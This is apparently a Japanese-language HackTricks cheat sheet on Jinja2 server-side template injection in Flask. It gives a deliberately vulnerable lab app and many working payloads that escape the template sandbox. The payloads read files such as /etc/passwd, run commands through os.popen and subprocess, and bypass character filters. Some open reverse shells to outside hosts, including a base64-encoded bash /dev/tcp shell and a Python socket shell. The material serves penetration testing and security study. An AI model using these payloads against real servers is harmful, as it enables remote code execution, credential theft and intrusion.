15 KiB
Jinja2 SSTI
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、当社の独占的なNFTsコレクションをご覧ください
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォロー**する。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
その他
デバッグステートメント
デバッグ拡張機能が有効になっている場合、debug
タグを使用して現在のコンテキストや利用可能なフィルターおよびテストをダンプすることができます。これは、デバッガをセットアップせずにテンプレートで使用可能なものを確認するのに役立ちます。
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
すべての構成変数をダンプする
原文: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinjaインジェクション
まず第一に、Jinjaインジェクションでは、サンドボックスから脱出する方法を見つけ、通常のPython実行フローへのアクセスを回復する必要があります。これを行うためには、サンドボックスからアクセス可能な 非サンドボックス環境からのオブジェクトを悪用する必要があります。
グローバルオブジェクトへのアクセス
たとえば、コードrender_template("hello.html", username=username, email=email)
では、usernameとemailというオブジェクトは非サンドボックスのPython環境から取得され、サンドボックス環境内でアクセス可能になります。
さらに、サンドボックス環境からは常にアクセス可能な他のオブジェクトもあります。
[]
''
()
dict
config
request
<class 'object'> の回復
次に、これらのオブジェクトからクラス <class 'object'>
に到達する必要があります。これは、定義済みの クラス を取得しようとするためです。このオブジェクトから __subclasses__
メソッドを呼び出し、ノンサンドボックスの Python 環境からすべてのクラスにアクセスできます。
その オブジェクトクラス にアクセスするには、クラスオブジェクト にアクセスし、__base__
、__mro__()[-1]
、または .
mro()[-1]
のいずれかにアクセスする必要があります。そして、この オブジェクトクラス に到達した後に __subclasses__()
を呼び出します。
これらの例を確認してください:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
<class 'object'>
を回復し、__subclasses__
を呼び出した後、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになります。
__subclasses__
への呼び出しにより、数百の新しい関数にアクセスする機会が得られました。ファイルクラスにアクセスするだけでファイルの読み書きや、os
のようにコマンドを実行するクラスにアクセスできるようになります。
リモートファイルの読み書き
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
さらにクラスを学ぶために使用できるクラスについては、以下を確認してください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
フィルター回避
一般的な回避方法
これらの回避方法を使用すると、一部の文字を使用せずにオブジェクトの属性にアクセスできます。
これらの回避方法のいくつかは、前述の例で既に見てきましたが、ここでまとめてみましょう:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- グローバルオブジェクトにアクセスするためのさらなるオプションを確認するにはこちらを参照してください
- オブジェクトクラスにアクセスするためのさらなるオプションを確認するにはこちらを参照してください
- オブジェクトクラスなしでRCEを取得する方法については、こちらを読んでください
HTMLエンコーディングを回避する
デフォルトでは、セキュリティ上の理由から、Flaskはテンプレート内のすべてのをHTMLエンコードします。
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
safe
フィルターを使用すると、次のようにページにJavaScriptとHTMLをHTMLエンコードせずにインジェクトできます:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
悪意のある設定ファイルを書いてRCEを実行する。
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
いくつかの文字なし
{{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinjaインジェクションでの <class 'object'> を使用しない方法
グローバルオブジェクト から、そのクラスを使用せずにRCEに到達する 別の方法があります。
これらのグローバルオブジェクトからいずれかの関数にアクセスできれば、__globals__.__builtins__
にアクセスでき、そこからRCE は非常に 簡単 になります。
次のようにして、request
、config
、およびアクセス可能な他の興味深いグローバルオブジェクトから関数を見つけることができます:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
見つけた関数を使用して、次のようにしてbuiltinsを回復できます:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
参考文献
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- ここでブラックリスト化された文字をバイパスするための attr trick をチェック してください。
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks を PDF でダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式の PEASS & HackTricks スワッグ を手に入れる
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つける
- 💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローしてください。**
- HackTricks と HackTricks Cloud の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。